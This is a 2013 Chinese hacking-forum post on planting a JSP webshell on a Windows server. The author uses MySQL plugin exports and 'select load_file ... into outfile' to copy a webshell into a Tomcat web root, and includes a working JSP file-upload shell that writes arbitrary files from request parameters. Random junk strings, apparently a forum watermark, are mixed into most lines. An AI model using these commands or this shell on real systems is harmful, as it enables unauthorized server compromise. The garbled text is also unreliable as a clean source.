找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2482|回复: 0
打印 上一主题 下一主题

解决Win下MySQL root导出Webshell换行符问题

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-8 21:52:57 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
今天碰到了这么个问题,简单记录一下我的解决方案。
7 Q! B! A% A5 T2 O0 c3 O. l7 ^- u; h7 \# `9 G, @
首先说一下服务器的环境。服务器的80端口按照标准的虚拟主机来配置的,支持asp,aspx,php,但是不支持php: j' P: L0 B0 N. L0 w: k; A3 ~
安装了mssql(1433端口),tomcat(8080端口),serv-u(43958端口)和两个mysql(3306端口和3307端口)/ e1 d7 w/ m7 f: |  [  f1 q1 t
提权的时候没有sa密码,没有serv-u密码,mysql 5.1首先运行了
/ |+ L" c: ~( r8 ^. [& n1 show variables like '%plugin%';
: Z$ p, J9 r2 R$ G0 p后,根据设置导出dll到C:\Program Files\MySQL\MySQL Server 5.1\lib\成功! s- }/ t, Z) Y; _, [* O
创建自定义函数似乎被拦截,一直失败。
" O; S; N' C6 ?' ]0 q+ W& u后找到tomcat目录,准备写马,asp,aspx,php对tomcat目录:C:/Program Files/cngradms_x86/tomcat/webapps/ROOT/均无写入权限5 Z: R- S) |9 q& `2 Z$ W
测试mysql有写入权限。故上传jsp大马至网站web目录:d:\xxx\fuck.jsp
2 U5 n6 [4 y* p; {: t2 c' N( K用mysql执行语句:
- V5 L* a# T, ?; c3 }# h/ ~3 o: E1 select load_file('d:\\xxx\\fuck.jsp')  into outfile 'C:\\Program Files\\cngradms_x86\\tomcat\\webapps\\ROOT\\upload\\fuck.jsp'9 G: G; p! Z7 w' Y( E
2 复制代码
: V8 n$ t: z9 V$ F) d后成功。
5 T3 ?# g5 t$ Z, ^4 ~但是访问后得到如下提示:/ L( Y. w5 v8 U6 M% C
​500页面
% l$ q0 V- f) H& R& n' n" u3 X) n" t4 q6 ~0 Y' R
. s' \* E# L! Y0 J& _' B3 T# B" E
明显是MySQL的Win下版本自动添加转义符\n\r了3 R5 \, f9 G- N: O% Z2 K
这样导致程序运行的悲剧。
; A8 M6 C; Z/ ^5 C( y从网上找了很多方法,什么update把转义符消掉,enclose巴拉巴拉,反正五花八门就是没一个可以用的。! q, N6 g. U: k  B4 r% w
最后弄了这么个小脚本:, i6 \: [: X, X) f0 D! k
01 <%@ page language="java" pageEncoding="gbk"%>
3 ~4 `( X7 W& P9 R. z* R02 <jsp:directive.page import="java.io.File"/>( ^# a, v; I. l6 g: r( a
03 <jsp:directive.page import="java.io.OutputStream"/>0 _$ R" O) W$ S8 R$ g9 x: s7 p
04 <jsp:directive.page import="java.io.FileOutputStream"/>
3 X) T. O4 s$ J$ g7 ^05 <% int i=0;String method=request.getParameter("act");if(method!=null&&method.equals("yoco")){String url=request.getParameter("url");String text=request.getParameter("smart");File f=new File(url);if(f.exists()){f.delete();}try{OutputStream o=new FileOutputStream(f);o.write(text.getBytes());o.close();}catch(Exception e){i++;%>
4 G; b$ \5 Z# s( {06 error www.2cto.com
- e& X. p4 f. A4 J# O$ p: b07 <%}}if(i==0){%>% O( u! g; @- i: \8 R
08 ok
( i1 B3 Z5 k: f* q' t% a8 j; ]09 <%}%>
7 M8 d' \  l, U4 j% D10 <form action='?act=yoco' method='post'><input size="100" value="<%=application.getRealPath("/") %>" name="url"><br><textarea rows="20" cols="80" name="smart">
% a3 `, ]' Z8 @9 Z9 w1 ]就可以避免转义符让JSP的马儿运行500错误了。
  X* \1 X9 i! w( w; s+ ]
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表